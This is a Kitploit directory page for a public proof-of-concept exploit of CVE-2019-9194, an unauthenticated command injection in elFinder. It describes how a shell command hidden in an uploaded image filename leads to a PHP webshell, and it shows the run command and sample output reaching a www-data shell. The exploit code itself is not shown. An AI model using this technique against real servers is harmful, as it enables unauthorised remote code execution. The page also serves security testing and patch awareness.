Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2019-9194-elFinder-Command-Injection-PoC — Command injection vulnerability in elFinder <= 2.1.47 via the PHP connector component. Allows unauthenticated remote code execution as the web server user. | Kitploit
Tools/GitHubGitHub/estebanzarate/cve-2019-9194-elfinder-command-injection-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubestebanzarate/cve-2019-9194-elfinder-command-injection-poc

CVE-2019-9194-elFinder-Command-Injection-PoC

Command injection vulnerability in elFinder <= 2.1.47 via the PHP connector component. Allows unauthenticated remote code execution as the web server user.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
226 months agoNot yet reviewed
Share

CVE-2019-9194 — elFinder Command Injection (PoC)

Command injection vulnerability in elFinder <= 2.1.47 via the PHP connector component. Allows unauthenticated remote code execution as the web server user.

How it works

  • Uploads a valid JPEG with a malicious filename containing a shell command.
  • Triggers the vulnerability by requesting an image rotation, which passes the filename to exiftran without sanitization.
  • The injected command writes a PHP webshell (SecSignal.php) to the server.
  • Connects to the webshell and drops into an interactive shell.

Requirements

  • Python 3
  • requests library (pip install requests)
  • Target must have exiftran installed and the elFinder PHP connector enabled (connector.minimal.php)

Usage

root@kitploit:~
python3 exploit.py http://TARGET

Example:

root@kitploit:~
$ python3 exploit.py http://10.10.10.10/elFinder
[*] Uploading malicious image...
[*] File uploaded, hash: l1_U2VjU2lnbmFsLmpwZw
[*] Triggering command injection via image rotation...
[*] Checking for webshell...
[+] Pwned!
[+] Interactive shell (Ctrl+C to exit)

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

References

  • CVE-2019-9194
  • EDB-46481
  • Vulnerability writeup — SecSignal
  • elFinder 2.1.48 release (fix)

Credits

  • Discovery: Thomas Chauchefoin
  • Original exploit: @q3rv0
  • Python 3 port & Metasploit-style improvements: Esteban Zárate
Download Tool